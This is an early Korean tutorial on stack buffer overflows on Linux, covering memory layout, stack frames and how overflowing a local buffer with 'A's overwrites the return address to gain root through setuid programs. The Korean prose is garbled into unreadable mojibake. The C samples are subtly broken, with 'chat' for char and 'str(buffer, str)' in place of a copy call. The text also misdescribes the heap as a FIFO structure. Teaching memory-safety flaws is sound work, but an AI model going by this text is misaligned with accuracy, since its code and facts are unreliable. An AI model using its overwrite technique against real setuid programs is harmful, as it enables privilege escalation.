/*-------------------------------------------------------------------*/ /* Buffer Overflow */ /*-------------------------------------------------------------------*/ /* Written by Laks Bluesky */ /*-------------------------------------------------------------------*/ /* Document Version : (0.9).06.01.2000 */ /*********************************************************************/ 0. ½ÃÀÛÇϱâ Àü¿¡ ** ÀÌ ±ÛÀº GNU Á¤½Å¿¡ µû¶ó ÀÚÀ¯·Ó°Ô ¹èÆ÷µÉ ¼ö ÀÖÁö¸¸, ÀÛ¼ºÀÚ Ç¥±â´Â ¹Ý µå½Ã lb0gspm À¸·Î ÇØ ÁÖ¼Å¾ß ÇÕ´Ï´Ù. ** ÀÌ ±ÛÀ» Á¤»óÀûÀ¸·Î Àбâ À§Çؼ± C ¾ð¾î¸¦ ¾Ë¾Æ¾ß Çϸç, ²À ÇÊ¿äÇÏÁø ¾Ê Áö¸¸ GNU Debuger ¸¦ »ç¿ëÇÒ ÁÙ ¾Ë¸é Æí¸®ÇÕ´Ï´Ù. ** ±ÛÀÇ ³»¿ëÀÌ ¸¹À¸¹Ç·Î, µÇµµ·Ï ÇÁ¸°Æ®Çؼ­ º¸½Ç°ÍÀ» ±ÇÀåÇÕ´Ï´Ù. ** phrack 49-14È£( aleph 1 )¿Í security.kaist( ¼­ÀǼº )À» Âü°í ÇÏ¿´½À´Ï ´Ù. ** ÀÌ ¹®¼­´Â Linux ¸¦ ±âÁØÀ¸·Î ÀÛ¼ºµÇ¾ú½À´Ï´Ù. 1. ½ÃÀÛÇÏ¸ç ³ª´Â Áö³­ ¸î°³¿ùµ¿¾È Buffer Overflow¶ó´Â °Í¿¡ ´ëÇØ »ó´çÇÑ °øÆ÷½ÉÀ» °®°í ÀÖ¾ú´Ù. ±× ÀÌÀ¯ÀÎÁï, ³»°¡ ¾î¼Àºí¸®¸¦ ÀüÇô ¸ð¸¥´Ù´Â°ÍÀÌ ±× ¿øÀÎÀÌ¿´´Ù. ±×·¸´Ù. ºÐ¸íÈ÷ Buffer Overflow¸¦ ÀÏÀ¸Å°±â À§Çؼ­´Â ¾î¼Àºí¸®°¡ »ç¿ëµÈ´Ù. ÇÏÁö¸¸ ÀÌ ±ÛÀ» ¾²°í ÀÖ´Â Áö±Ý À̼ø°£¿¡µµ, ³ª´Â ¾î¼Àºí¸®¸¦ ÇÒ ÁÙ ¸ð¸¥´Ù. ¾î¼Àºí¸®µµ ¸øÇÏ´Â »ç¶÷ÀÌ ¾î¶»°Ô Buffer Overflow¿¡ ´ëÇÑ °­Á¸¦ ¾²³Ä°í ¹Ý ¹®ÇÒ Áö ¸ð¸£°Ú´Ù. ¹°·Ð ³ªµµ µ¿°¨ÀÌ´Ù. ¾î¼Àºí¸®¸¦ ¸ð¸£°í¼­´Â Buffer Over flow¸¦ ¿Ïº®ÇÏ°Ô ¼³¸íÇÒ ¼ö ¾ø´Ù. ÀÌ °­Áµµ ¸¶Âú°¡Áö·Î Buffer Overflow ÀÇ ¸ðµç°ÍÀ» ¼³¸íÇØ ÁÖÁö´Â ¸øÇÑ´Ù. ÇÏÁö¸¸ ÇÑ°¡Áö È®½ÇÇÑ °ÍÀº, ÀÌ ¹®¼­°¡ ¾Õ À¸·Î °è¼ÓÇؼ­ ¾÷µ¥ÀÌÆ® µÉ ¿¹Á¤À̸ç, ¾÷µ¥ÀÌÆ®¸¦ °ÅµìÇϸ鼭 Buffer Overfl ow¸¦ ¼³¸íÇÏ´Â ÃÖ»óÀÇ °­Á·ΠŻ¹Ù²ÞÇÏ°Ô µÉ °ÍÀÌ´Ù. Áö±Ý 0.9 ¹öÁ¯Àº, ´Ü¼ø È÷ ±× ±âÃʸ¦ ´ÙÁö´Â°Í¿¡ ºÒ°úÇÏ´Ù´Â °ÍÀ» ¾Ë¾ÆµÎ±â ¹Ù¶õ´Ù. ÈçÈ÷µé, Buffer Overflow¸¦ ¾Ë±â À§Çؼ± Phrack 49-14È£¸¦ ÀÐÀ¸¶ó°í ¸»ÇÑ´Ù. ³ªµµ ¶ÇÇÑ ±×·± ¼Ò¸®¸¦ ¼öµµ ¾øÀÌ µé¾î¿Ô°í, ±× ¾î·Á¿î ¿µ¹®¼­¸¦ ¸î¹øÀÌ°í ´Ù½Ã Àоú´Ù. ¾î¼Àºí¸®¸¦ ¸ð¸£´Â ³ª¿¡°Ô À־ Phrack 49-14È£¸¦ ¿ÏÀüÈ÷ ÀÌ ÇØÇϴ°ÍÀº °ÅÀÇ °í¹®ÀÌ¿´´Ù. ÇÏÁö¸¸ ¹Ýº¹¿¡ ¹Ýº¹À» °ÅµìÇÑ ³¡¿¡, Phrack 49 -14È£ÀÇ ÀÛ¼ºÀÚÀÎ Aleph 1 ÀÇ Àǵµ¸¦ ¾Ë ¼ö ÀÖ°Ô µÇ¾ú´Ù. ºñ·Ï Buffer Overf lowÀÇ ¸ðµç°ÍÀ» ¾ËÁö´Â ¸øÇÏÁö¸¸ ÀÛÀº Áö½ÄÀ¸·Î³ª¸¶ ÀÌ °­Á¸¦ ¾¸À¸·Î½á, Bu ffer Overflow¸¦ µÎ·Á¿öÇÏ´Â »ç¶÷µéÀ» µµ¿ÍÁÖ°í ½ÍÀ» µû¸§ÀÌ´Ù. 2. Buffer¶õ ¹«¾ùÀΰ¡? Buffer¶õ, ÀÏÁ¾ÀÇ Àӽà ±â¾ïÀå¼ÒÀÌ´Ù. µ¥ÀÌÅÍ°¡ Àá½Ãµ¿¾È ÀúÀåµÇ´Â °ø°£À» ¹öÆÛ¶ó Çϴµ¥, ¹öÆÛ¿¡´Â µÎ°¡Áö Á¾·ù°¡ ÀÖ´Ù. Stack Àº, ÈçÈ÷ FILO ±¸Á¶¶ó ÇÑ´Ù. Áï, First In, Last Out. ´Ù½Ã ¸»Çϸé ó À½ µé¾î°£°Ô ¸¶Áö¸·¿¡ ³ª¿Â´Ù´Â ¶æÀÌ´Ù. ÀÌ ¸»ÀÌ ¹«½¼¸»ÀÎÁö¸¦ ÀÌÇØÇÏ·Á¸é ³ô°Ô ½×¾Æ ¿Ã¸° 100¿øÂ¥¸® µ¿ÀüµéÀ» »ý°¢ÇÏ¸é ½±´Ù. Á¦ÀÏ ¹Ù´Ú¿¡ ÀÖ´Â µ¿Àü Àº Á¦ÀÏ Ã³À½ ½×±â ½ÃÀÛÇÑ µ¿ÀüÀÌ°ÚÁö¸¸, žÀ» ´Ù ½×°í ³ª¼­ ±× µ¿ÀüÀ» »ç¿ë Çϱâ À§Çؼ­´Â À§¿¡ ½×¾Æ¿Ã¸° µ¿ÀüÀ»À» ¸ðµÎ »ç¿ëÇØ¾ß Á¦ÀÏ ¸¶Áö¸·À¸·Î ±× µ¿ÀüÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ½ºÅÃÀ̶õ ¹Ù·Î ÀÌ·±½ÄÀÇ µ¥ÀÌÅÍ ±¸Á¶¸¦ °¡Áø´Ù. Á¦ ÀÏ Ã³À½ µé¾î°£ µ¥ÀÌÅÍ°¡ Á¦ÀÏ ¹Ø¿¡ À§Ä¡ÇÏ°í, ±× ´ÙÀ½ µé¾î°£ µ¥ÀÌÅÍ°¡ ±× À§¿¡ À§Ä¡ÇÏ°Ô µÈ´Ù. ÀÌ·±½ÄÀ¸·Î µ¥ÀÌÅ͵éÀÌ Â÷°î Â÷°î ½×ÀÌ°Ô µÈ´Ù. À̹ø¿£ ¹Ý´ë·Î ±× µ¥ÀÌÅ͵éÀ» ²¨³»´Â °æ¿ì¸¦ »ý°¢ÇØ º¸ÀÚ. ¿ì¼± Á¦ÀÏ ¸¶Áö¸·¿¡ µé¾î °£ µ¥ÀÌÅÍ, Áï Á¦ÀÏ À§ÂÊ¿¡ ÀÖ´Â µ¥ÀÌÅ͸¦ ²¨³»¾ß¸¸ ±× ¾Æ·¡¿¡ ÀÖ´Â µ¥ÀÌÅÍ ¸¦ ²¨³¾ ¼ö ÀÖ°Ô µÈ´Ù. ±×¸®°í ±× µ¥ÀÌÅ͸¦ ²¨³»¾ß¸¸ ¶Ç ±× ¾Æ·¡¿¡ ÀÖ´Â µ¥ ÀÌÅ͸¦ ²¨³¾ ¼ö ÀÖ°Ô µÈ´Ù. ÀÌ·±½ÄÀ¸·Î Á¦ÀÏ Ã³À½ µé¾î°£ µ¥ÀÌÅ͸¦ ²¨³»±â À§Çؼ­´Â ³ªÁß¿¡ µé¾î°£ µ¥ÀÌÅ͵éÀ» ¸ðµÎ ²¨³½ µÚ¿¡, ºñ·Î¼Ò Á¦ÀÏ ¸¶Áö¸·À¸ ·Î óÀ½¿¡ µé¾î°£ µ¥ÀÌÅ͸¦ ²¨³¾ ¼ö ÀÖ´Â °ÍÀÌ´Ù. Heap Àº, ÈçÈ÷ FIFO ±¸Á¶¶ó ÇÑ´Ù. Áï, First In, First Out. ´Ù½Ã ¸»Çϸé ó À½ µé¾î°£°Ô óÀ½¿¡ ³ª¿Â´Ù´Â ¶æÀÌ´Ù. ÀÌ ¸»ÀÌ ¹«½¼ ¸»ÀÎÁö¸¦ ÀÌÇØÇÏ·Á¸é ¾ç ¿·ÀÌ ¶Õ·ÁÀÖ´Â ÆÄÀÌÇÁ¸¦ »ý°¢ÇÏ¸é ½±´Ù. ÆÄÀÌÇÁÀÇ ÇÑÂÊ ±¸¸ÛÀ» µé¾î°¡´Â ¹®, ¹Ý´ëÂÊ ±¸¸ÛÀ» ³ª¿À´Â ¹®À̶ó ÇÒ¶§, µé¾î°¡´Â ¹®¿¡ µ¿ÀüÀ» °è¼ÓÇؼ­ Áý¾î ³Ö À¸¸é ¾ðÁ¨°¡´Â ÆÄÀÌÇÁ°¡ ²Ë Â÷°Ô µÇ°í, ±×·¸°Ô µÇ¸é Á¦ÀÏ Ã³À½ µé¾î°¬´ø µ¿ ÀüÀº ³ª¿À´Â ¹®À» ÅëÇØ ¹ÛÀ¸·Î ºüÁ®³ª¿À°Ô µÈ´Ù. Áï, Á¦ÀÏ ¸ÕÀú µé¾î°£ µ¿Àü ÀÌ Á¦ÀÏ ¸ÕÀú ³ª¿Â´Ù´Â ¸»ÀÌ´Ù. ÈüÀº, ÀÌ·±½ÄÀ¸·Î ¸ÕÀú µé¾î°£ µ¥ÀÌÅÍ°¡ ¸Õ Àú ³ª¿À´Â µ¥ÀÌÅÍ ±¸Á¶ÀÌ´Ù. ¹öÆÛ¿¡ ÀÌ µÎ°¡Áö Á¾·ù°¡ ÀÖµíÀÌ, ¹öÆÛ ¿À¹öÇ÷ο쿡µµ µÎ°¡Áö Á¾·ù°¡ ÀÖ´Ù. ÀÌ¹Ì ´«Ã¤ ë°ÚÁö¸¸, ½ºÅà ¿À¹öÇ÷οì¿Í Èü ¿À¹öÇ÷ο찡 ±×°ÍÀÌ´Ù. ±×¸®°í ¿ì¸®°¡ ÈçÈ÷ "Buffer Overflow"¶ó°í ºÎ¸£´Â °ÍÀº ½ºÅà ¿À¹öÇ÷ο츦 ¸»ÇÑ´Ù. ¾ÕÀ¸·Î´Â ½ºÅà ¿À¹öÇ÷οì¿Í Èü ¿À¹öÇ÷ο츦 ±¸ºÐÇϱâ À§ÇØ, "Buffer Overf low" ¶ó´Â ´Ü¾î¸¦ µÇµµ·ÏÀÌ¸é »ç¿ëÇÏÁö ¾Ê°Ú´Ù. 3. Process ÀÇ ±¸Á¶ À¯´Ð½º °è¿­ÀÇ OS ¿¡¼­ ÇÑ ÇÁ·Î¼¼½º¸¦ ½ÇÇà½ÃÅ°¸é, ±× ÇÁ·Î¼¼½º´Â ´ÙÀ½°ú °° Àº ±¸Á¶·Î ¸Þ¸ð¸®¿¡ ÀÐÇôÁö°Ô µÈ´Ù. /-------------------------/ ¸Þ¸ð¸®»ó¿¡¼­ | | ³ôÀº ±¸¿ª | Stack | | | /-------------------------/ | | | Heap | | | /-------------------------/ | | | Data | | | /-------------------------/ | | | Text | | | ¸Þ¸ð¸®»ó¿¡¼­ /-------------------------/ ³·Àº ±¸¿ª Text ´Â, ¸Þ¸ð¸®»ó¿¡¼­ °¡Àå ³·Àº ±¸¿ª¿¡ À§Ä¡ÇÏ´Â ºÎºÐÀ¸·Î, ÇÁ·Î±×·¥ÀÇ º» ä¶ó ÇÒ ¼ö ÀÖ´Ù. º¸Åë ½ÇÇà ÄÚµåµéÀÇ ÁýÇÕ°ú Àб⸸ °¡´ÉÇÑ µ¥ÀÌÅ͵éÀÌ µé ¾î°¡°Ô µÈ´Ù. Data ´Â, Text ±¸¿ª ¹Ù·Î À§¿¡ À§Ä¡ÇÏ´Â °÷À¸·Î½á, ÇÁ·Î±×·¥¿¡¼­ »ç¿ëµÇ´Â º¯¼ö°ªµéÀ» ÀúÀåÇÏ°Ô µÈ´Ù. Heap Àº, Á¤µ·µÇ¾î ÀÖÁö ¾ÊÀº ¸Þ¸ð»óÀÇ °ø°£À¸·Î, ¸ñÀûÀÌ Á¤ÇØÁöÁö ¾ÊÀº °ø °£ÀÌ´Ù. Stack Àº, À¯´Ð½º¿ë ÇÁ·Î±×·¥ÀÌ ´ëºÎºÐ C ¾ð¾î·Î ÀÛ¼ºµÇ¾î Àֱ⠶§¹®¿¡ ¸¸µé ¾îÁø ±¸¿ªÀ¸·Î, ¸Þ¸ð¸®»ó¿¡¼­ °¡Àå À§ÂÊ¿¡ À§Ä¡ÇÏ°Ô µÈ´Ù. C ¾ð¾î¿¡¼­ ÇÑ ÇÔ ¼ö¸¦ È£ÃâÇÒ¶§, ±× ÇÔ¼ö ³»ºÎ¿¡¼­ »ç¿ëµÇ´Â Áö¿ªº¯¼ö³ª ±× ¹Û¿¡ °ªµéÀ» ÀúÀå ÇÏ°Ô µÈ´Ù. Text, Data, Heap ±¸¿ªÀ» ¸ðµÎ ÀÌÇØÇÒ ÇÊ¿ä´Â ¾ø´Ù. ¿ÀÈ÷·Á ±×·¯ÇÑ ±¸¿ªÀº ¿ì¸®°¡ ¾Ë¾Æ¾ßÇÒ ¹üÀ§¸¦ ¹þ¾î³­´Ù. ¿ì¸®°¡ ¹Ýµå½Ã ¾Ë¾Æ¾ß ÇÒ °ÍÀº, Stack ¿µ ¿ªÀÌ´Ù. C ¾ð¾î¿¡¼­ ÇÔ¼ö¸¦ È£ÃâÇÒ¶§ ±× ÇÔ¼ö¸¦ À§ÇÑ °ø°£ÀÌ ¹Ù·Î Stack ¿¡ »ý¼ºµÇ´Â °ÍÀÌ´Ù. Stack Overflow´Â ÀÌ ºÎºÐÀ» Á¶ÀÛÇÔÀ¸·Î½á ¹ß»ý½Ãų ¼ö ÀÖ ´Â ÇØÅ·±â¹ýÀÎ °ÍÀÌ´Ù. ±×·¯¸é ÇÔ¼ö°¡ È£ÃâµÉ ¶§, Stack ¿¡´Â Á¤È®È÷ ¾î¶² ÇüÅÂÀÇ ±¸Á¶°¡ »ý¼ºµÇ´Â Áö ¾Ë¾Æº¸µµ·Ï ÇÏÀÚ. 4. Stack ÀÇ ±¸Á¶¿Í Stack Overflow ÀÇ ¿ø¸® ÀÚ, ´ÙÀ½ÀÇ ¼Ò½ºÄڵ带 º¸ÀÚ. -- ¼Ò½º 1. what-is-stack.c void function( int a, int b, int c ) { char buffer1[5]; chat buffer2[10]; } int main( void ) { function( 1, 2, 3 ); } -- ÀÌ ¼Ò½º Äڵ忡´Â ¾Æ¹«·± ±â´Éµµ ÇÏÁö ¾Ê°í, ±×Àú º¯¼ö¸¸ ÇÒ´çÇØ ÁÖ´Â ÇÔ¼ö °¡ Æ÷ÇԵǾî ÀÖ´Ù. ±× ÇÔ¼ö°¡ Stack ¿µ¿ª¿¡ »ý¼ºµÇ´Â ±¸Á¶¸¦ È®ÀÎÇÏ·Á¸é ÀÌ ¼Ò½º ÄÚµåÀÇ ¾î¼Àºí¸® Äڵ带 ºÁ¾ß¸¸ ÇÑ´Ù. ÇÏÁö¸¸ ¾Æ±îµµ ¸»ÇßµíÀÌ ³ª´Â ¾î ¼Àºí¸®¸¦ ÇÒ ÁÙ ¸ð¸¥´Ù. µû¶ó¼­ ¾î¼Àºí¸® Äڵ带 ºÁµµ ¾î¶² ±¸Á¶ÀÎÁö È®ÀÎÇÒ ¼ö ¾ø´Ù. Ȥ½Ã ÀÌ ±ÛÀ» º¸´Â µ¶ÀÚÁß, ¾î¼Àºí¸®¸¦ ¾Æ´Â µ¶ÀÚ¸¦ À§ÇØ, ÀÌ ¼Ò½º ÄÚµåÀÇ ¾î¼Àºí¸® Äڵ带 ¾ò´Â ¹æ¹ýÀ» ¾Ë·ÁÁÖ°Ú´Ù. -- Âü°í 1. C ¾ð¾î ¼Ò½º·ÎºÎÅÍ ¾î¼Àºí¸® Äڵ带 ¾ò±â ÇÁ·ÒÇÁÆ®¿¡¼­ ´ÙÀ½°ú °°Àº ¸í·ÉÀ¸·Î ¼Ò½º¸¦ ÄÄÆÄÀÏÇÑ´Ù. $ gcc -S -o what-is-stack.s what-is-stack.c ÀÚ, ÀÌÁ¦ what-is-stack.s ÀÇ ³»¿ëÀ» »ìÆ캸¸é what-is-stack.c ÀÇ ¾î¼Àºí¸® Äڵ尡 µé¾îÀÖÀ½À» È®ÀÎÇÒ ¼ö ÀÖ´Ù. -- ¾î¼Àºí¸® Äڵ尡 ¾îÂîµÇ¾ú°Ç, À§ÀÇ ¿¹Á¦¿¡¼­ function() Àº Stack ¿µ¿ª¿¡ ´Ù À½°ú °°Àº ÇüÅ·ΠÀ§Ä¡ÇÏ°Ô µÈ´Ù. -- Âü°í 2. function() ÀÌ Stack ±¸¿ª¿¡ À§Ä¡ÇÏ´Â ±¸Á¶ ¸Þ¸ð¸®»ó¿¡¼­ ¸Þ¸ð¸®»ó¿¡¼­ ³·Àº ±¸¿ª ³ôÀº ±¸¿ª buffer2 buffer1 sfp ret c b a [ ][ ][ ][ ][ ][ ][ ] ½ºÅû󿡼­ ½ºÅû󿡼­ ³ôÀº ±¸¿ª ³·Àº ±¸¿ª * buffer1, buffer2 : ¼Ò½ºÄڵ忡¼­ buffer1[5] ¸¦ ¸ÕÀú ¼±¾ðÇÏ°í, ±× µÚ¿¡ buffer2[10] À» ¼±¾ðÇßÀ½À» ±â¾ïÇ϶ó. ±×·¸´Ù¸é ½ºÅà ÀÇ Æ¯Â¡¿¡ µû¶ó¼­ buffer2[10]ÀÌ buffer1[5] º¸´Ù ¾Æ ·¡ÂÊ¿¡ À§Ä¡ÇÏ°Ô µÈ´Ù. * sfp : ÀÌ °ªÀº ¾î¼Àºí¸®¿Í °ü°èµÇ´Â ºÎºÐÀÌ´Ù. ´Ù½ÃÇѹø ¸»ÇÏÁö¸¸ ³ª´Â ¾î¼Àºí¸®¸¦ ÇÒ ÁÙ ¸ð¸¥´Ù. ÇÏÁö¸¸, sfp °¡ ¸Þ¸ð¸®»ó¿¡¼­ 4byte ÀÇ ¿ë·®À» Â÷ÁöÇÑ´Ù´Â °ÍÀº ¾Ë¾ÆµÎ±â ¹Ù¶õ´Ù. * ret : ¹Ù·Î ÀÌ °ªÀÌ Å°Æ÷ÀÎÆ®ÀÌ´Ù. Áö±Ý º¸¿©Áö°í ÀÖ´Â ±×¸²Àº function () À̶ó´Â ÇÔ¼öÀÇ ½ºÅà ¿µ¿ªÀε¥, ÀÌ ÇÔ¼öÀÇ ½ÇÇàÀÌ ³¡³­ ´ÙÀ½¿¡ ´Â ret ÀÌ °¡¸£Å°´Â ÇÔ¼ö¸¦ ½ÇÇàÇÏ°Ô µÈ´Ù. ´Ù½Ã¸»Çؼ­ ret ´Â ¹Ù µµ ´ÙÀ½¿¡ ½ÇÇàµÉ ÇÔ¼öÀÇ ÁÖ¼ÒÀÌ´Ù. ret °ªµµ ¸Þ¸ð¸®»ó¿¡¼­´Â 4by teÀÇ Å©±âÀÌ´Ù. * c, b, a : function() ÀÇ ÀÎÀÚ°¡ ( int a, int b, int c ) ¿´´ø °ÍÀ» ±â¾ï Ç϶ó. ±×·¸´Ù¸é ½ºÅÃÀÇ Æ¯Â¡¿¡ µû¶ó¼­ ¿ª¼øÀ¸·Î ½ºÅÿ¡ À§Ä¡ÇÏ °Ô µÈ´Ù. ÀÌ·¸°Ô µÇ¸é ù¹ø° ÀÎÀÚÀÎ int a ¸¦ Á¦ÀÏ ¸ÕÀú ÂüÁ¶ ÇÒ ¼ö ÀÖ°Ô µÈ´Ù. -- ¸Þ¸ð¸®»ó¿¡¼­ ³ôÀº ±¸¿ª¿¡ ÀÖ´Ù´Â ¸»Àº °ð, ½ºÅø¸À¸·Î º¸¸é ½ºÅÃÀÇ À­ºÎºÐ ¿¡ ÀÖ´Ù´Â ¶æÀÌ µÈ´Ù. ½ºÅÃÀº ³ªÁß¿¡ µé¾î°£ µ¥ÀÌÅÍ°¡ Á¦ÀÏ À§¿¡ À§Ä¡ÇÑ´Ù´Â °ÍÀ» ±â¾ïÇ϶ó. Áï, À§¿¡¼­ function() ÀÇ ±¸Á¶´Â Áö¿ªº¯¼öÀÎ buffer2 °¡ Á¦ ÀÏ ¸ÕÀú µé¾î°¡°í, ¿ª½Ã Áö¿ªº¯¼öÀÎ buffer1 ÀÌ ±× ´ÙÀ½ µé¾î°¡°í.. ÀÌ·¯ÇÑ ¼ø¼­°¡ µÈ´Ù. µû¶ó¼­ ¸¸¾à »ç¿ëÀÚ°¡ buffer2 ¿¡ ¾î¶² °ªÀ» ÀÔ·ÂÇÏ°Ô µÈ´Ù¸é, ¿ª½Ã ½ºÅÃÀÇ ³·Àº ±¸¿ªºÎÅÍ ½ÃÀÛÇÏ¿© ½ºÅÃÀÇ ³ôÀº ±¸¿ªÀ¸·Î Â÷·ÊÂ÷·Ê ä¿öÁö °Ô µÈ´Ù. ±×·¸´Ù¸é buffer2 ¿¡ ¿ø·¡ ÇÒ´çµÈ 10¹ÙÀÌÆ®°¡ ³Ñ´Â °ªÀ» ÀÔ·ÂÇÏ°Ô µÈ´Ù¸é ³ÑÄ¡´Â °ªÀº ¿ª½Ã ½ºÅÿ¡ ä¿öÁö°Ô µÇ¾î buffer1 ÀÇ ¿µ¿ªÀ» ħ¹üÇÏ°Ô µÈ´Ù. ¸¸ÀÏ buffer2 ¿¡ 15¹ÙÀÌÆ®¸¦ ÀÔ·ÂÇß´Ù¸é buffer2 ¿¡ ¿ø·¡ ÇÒ´çµÈ Å©±â ÀÎ 10¹ÙÀÌÆ®°¡ ä¿öÁö°í, ³ª¸ÓÁö 5¹ÙÀÌÆ®´Â buffer1 ¿¡ ä¿öÁö°Ô µÇ´Â °ÍÀÌ ´Ù. ¸¸ÀÏ ÀÌ·¯ÇÑ ½ÄÀ¸·Î buffer2 ¿¡ ¾öû³ª°Ô ±ä °ªÀ» ³Ö´Â´Ù¸é ¾î¶»°Ô µÉ±î . buffer2 ¸¦ ²Ë ä¿ì°í, buffer1 µµ ²Ë ä¿îµÚ, sfp ¸¦ ħ¹üÇÏ°í, ±× µÚ¿¡ ret À» ħ¹üÇÏ°Ô µÈ´Ù. ½ÉÁö¾î c, b, a ºÎºÐ±îÁö ħ¹üÇÒ ¼öµµ ÀÖ´Ù. Áß¿äÇÑ »ç½ÇÀº, buffer2 ¿¡ ±ä °ªÀ» ä¿òÀ¸·Î½á ret ºÎºÐ¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ ´Ù. ¸¸ÀÏ ÀÌ ÇÁ·Î±×·¥ÀÇ ½ÇÇàÆÄÀÏ¿¡ ·çÆ®ÀÇ ¼ÒÀ¯·Î setuid °¡ ºÙ¾îÀÖ´Ù¸é, ret °ªÀ» ¼öÁ¤ÇÔÀ¸·Î½á ·çÆ® ±ÇÇÑÀ¸·Î ´Ù¸¥ ÇÁ·Î±×·¥À» ½ÇÇà ½Ãų ¼ö ÀÖ°ÔµÈ ´Ù. ¹Ù·Î ÀÌ°ÍÀÌ Stack Overflow ÀÇ °ñÀÚÀÌ´Ù. ÀÚ, ´ÙÀ½ ´Ü¿øÀ¸·Î ³Ñ¾î°¡±â Àü¿¡ Âü°í 2 ¸¦ ´Ù½ÃÇѹø »ìÆ캸µµ·Ï ÇÏÀÚ. 5. Segmentation fault ¸Þ¼¼Áö¿Í Stack Overflow ÀÇ °úÁ¤ ÀÚ, ´ÙÀ½ÀÇ ¼Ò½ºÄڵ带 º¸ÀÚ. -- ¼Ò½º 3. sof-test1.c void function( char *str ) { char buffer[16]; str( buffer, str ); } int main( void ) { char string[256]; int i; for( i = 0 ; i < 255 ; i++ ) string[i] = 'A'; function( string ) } -- ÀÌ ÇÁ·Î±×·¥¿¡´Â ºÐ¸íÈ÷ ¹®Á¦°¡ ÀÖ´Ù. main() ÀÇ Áö¿ªº¯¼öÀÎ string ¿¡ 256 ¹ÙÀÌÆ®ÀÇ ¹®ÀÚ¸¦ ä¿îµÚ, ±×°ÍÀ» function() ÀÇ Áö¿ªº¯¼öÀÎ buffer ¿¡ ´ëÀÔ ÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù. ±×·±µ¥ ¹®Á¦´Â string °ú buffer ÀÇ Å©±â°¡ ´Ù¸£´Ù´Âµ¥ ÀÖ´Ù. string Àº 256¹ÙÀÌÆ®Àε¥ ¹ÝÇØ, buffer ´Â 16¹ÙÀÌÆ®¿¡ ºÒ°úÇÑ °ÍÀÌ´Ù. ÀÚ, ÀÌ ÇÁ·Î±×·¥¿¡¼­ function() ÇÔ¼öÀÇ Stack ¿µ¿ªÀ» »ìÆ캸ÀÚ. -- Âü°í 3. function() ÀÌ Stack ±¸¿ª¿¡ À§Ä¡ÇÏ´Â ±¸Á¶ ¸Þ¸ð¸®»ó¿¡¼­ ¸Þ¸ð¸®»ó¿¡¼­ ³·Àº ±¸¿ª ³ôÀº ±¸¿ª buffer sfp ret *str [ ][ ][ ][ ] ½ºÅû󿡼­ ½ºÅû󿡼­ ³ôÀº ±¸¿ª ³·Àº ±¸¿ª -- ÀÚ, ÀÌ°ÍÀÌ function() ÇÔ¼öÀÇ ½ÇüÀÌ´Ù. À§ÀÇ ¼Ò½º Äڵ忡¼­ º¸¸é, str ¿¡ 255°³ÀÇ 'A' ¸¦ ³ÖÀº°ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ±×¸®°í str À» buffer ¿¡ º¹»çÇØ ³Ö¾ú ´Ù. ±×·±µ¥ buffer ´Â 16¹ÙÀÌÆ®¸¸À» ÇÒ´ç¹Þ¾Ò´Ù. µû¶ó¼­ ¿ø·¡ 255°³ÀÇ 'A'Áß 16°³´Â buffer ¿¡ º¹»çµÈ´Ù. ±×·¯¸é ³ª¸ÓÁö 239 °³ÀÇ 'A'´Â ¸ðµÎ ¾îµð·Î °¡ ´Â°¡? buffer ÀÇ ¿µ¿ªÀ» ³Ñ¾î¼­ sfp ¸¦ ħ¹üÇÏ°Ô µÈ´Ù. ÀÌ·Î½á ³×°³ÀÇ 'A'´Â sfp ¿¡ µé¾î°¬´Ù. ±×·¡µµ ¾ÆÁ÷ 235 °³ÀÇ 'A' °¡ ³²´Â´Ù. À̰͵éÀº sfp ÀÇ ¿µ ¿ªÀ» ³Ñ¾î¼­ ret À» ħ¹üÇÏ°Ô µÈ´Ù. ÀÌ·Î½á ³×°³ÀÇ 'A' ´Â ret ¿¡ µé¾î°¬´Ù. ÇÏÁö¸¸ ¾ÆÁ÷µµ 231 °³ÀÇ 'A' °¡ ³²´Â´Ù. À̰͵éÀº ret ÀÇ ¿µ¿ªÀ» ³Ñ¾î¼­ ´Ù ½Ã ÀÚ±â ÀÚ½Å, Áï str ÀÇ ¿µ¿ª±îÁö ħ¹üÇÏ°Ô µÈ´Ù! ³²Àº 231°³ÀÇ 'A'°¡ ¾îÂî µÇ¾ú°Ç ¿ì¸®°¡ ¿©±â¼­ ÁÖ¸ñÇØ¾ß ÇÒ »ç½ÇÀÌ ÀÖ´Ù. ¹Ù·Î ret °ªÀÌ º¯°æµÇ¾ú´Ù ´Â Á¡ÀÌ´Ù. ±âÁ¸¿¡ ÀÖ´ø ret °ªÀ» 'A' °¡ overwriteÇØ ¹ö¸° °ÍÀÌ´Ù. ÀÌ·¯ÇÑ Àǹ̿¡¼­, Stack Overflow¸¦ Stack Overwrite¶ó°í Çϱ⵵ ÇÑ´Ù. ´ÙÀ½Àº ÀÌ·± °úÁ¤À» ³¡¸¶Ä£ µÚ¿¡ function() ÀÇ ¸ð½ÀÀÌ´Ù. -- Âü°í 4. Overflow( Overwrite )µÈ function() ÀÇ Stack ±¸Á¶ ¸Þ¸ð¸®»ó¿¡¼­ ¸Þ¸ð¸®»ó¿¡¼­ ³·Àº ±¸¿ª ³ôÀº ±¸¿ª buffer sfp ret *str [AAAAAAAAAAAAA][AAAA][AAAA][AAAAAAAAAAAAAAAAAAAA] ½ºÅû󿡼­ ½ºÅû󿡼­ ³ôÀº ±¸¿ª ³·Àº ±¸¿ª -- ÀÚ, ret °ªÀÌ 'AAAA'·Î º¯°æµÇ¾ú´Ù. ±×·±µ¥ 'A' ´Â 16Áø¼ö·Î 0x41 ÀÌ´Ù. µû ¶ó¼­ Áö±ÝÀÇ ret °ªÀº 0x41414141 ÀÌ µÇ´Â °ÍÀÌ´Ù. ±×·¯¸é function() ÇÔ¼ö ÀÇ ½ÇÇàÀÌ ³¡³­ µÚ¿¡´Â 0x41414141 ÀÇ À§Ä¡¿¡ ÀÖ´Â Äڵ带 ½ÇÇàÇÏ°Ô µÇ´Âµ¥, 0x41414141 ¿¡´Â ¾î¶² °ªÀÌ µé¾î°¡ ÀÖÀ»Áö´Â ¾Æ¹«µµ ¸ð¸¥´Ù. ¸¸ÀÏ ±× À§Ä¡¿¡ ½ÇÇàÇÒ ¼ö ¾ø´Â Äڵ尡 µé¾î ÀÖ´Ù¸é, Ä¿³ÎÀº "½ÇÇàÇÏÁöµµ ¸øÇÏ´Â °É ½ÇÇàÇÏ ¶ó°í?" Çϸ鼭 ºÒÆòÀ» ÇÏ°Ô 